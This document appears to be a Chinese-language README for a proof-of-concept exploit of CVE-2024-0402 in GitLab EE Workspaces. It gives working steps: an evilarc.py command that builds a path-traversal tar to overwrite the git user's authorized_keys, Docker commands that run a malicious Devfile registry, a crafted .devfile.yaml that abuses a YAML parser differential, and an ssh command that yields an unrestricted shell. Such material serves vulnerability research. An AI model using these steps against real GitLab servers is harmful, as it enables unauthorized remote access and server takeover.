该项目包含一个恶意 Devfile Registry,可用于利用 Gitlab 中的 CVE-2024-0402。
索引了一个 nodejs:2.2.1 栈,以暴露 archive.tar 文件,该文件利用了 registry-support 库 v1.1.0 之前版本 中的路径遍历问题。
tar 文件位置:malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar
它是使用 evilarc.py 创建的,用于覆盖目标 Gitlab 服务器中的 /var/opt/gitlab/.ssh/authorized_keys,覆盖内容为本仓库中 ssh-keys/ 文件夹下的 SSH 密钥。
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix
一旦运行,registry 会将恶意的 .tar 添加到可获取的栈中。
请参阅 index.json,其中已将其列入栈资源:
...
"links": {
"self": "devfile-catalog/nodejs:2.2.1"
},
...
"resources": [
"devfile.yaml",
"archive.tar"
],
...
配置一个版本 <=16.8.0 的 Gitlab Instance EE。按照文档以及我们在专门的 !exploitable 系列博客文章 中的额外说明,启用 Workspaces。
准备就绪后,按以下步骤操作:
在本仓库的根目录下运行 docker build -t devfile-index .,构建 registry 容器镜像
运行 docker run -d -p 5000:5000 --name local-registrypoc registry:2,启动一个本地容器 registry,供 Devfile registry 用于存储栈。注意: 您应根据需要修改命令以便暴露 registry。对我们而言,所有操作都在本地环境中进行
运行 docker run --network host devfile-index,启动第一步构建的恶意 Devfile registry。注意: 与之前一样,您可以根据需要修改运行命令,使其能够被 Gitlab 实例访问
以开发者身份登录目标 Gitlab 服务器,然后编辑您控制的某个仓库中的 .devfile.yaml。YAML 必须利用解析器差异,允许从恶意 registry 拉取
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
- name: development-environment
attributes:
gl/inject-editor: true
container:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
要在 Gitlab UI 中触发文件写入,只需在编辑后的仓库中启动一个新的 Workspace。
几秒钟后,任意文件写入应发生,并且 ssh-keys/pockey.pub 将被添加到 git 用户的 authorized_keys 中
您应该能够通过以下命令获得一个不受限制的 git 用户 shell:
ssh -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>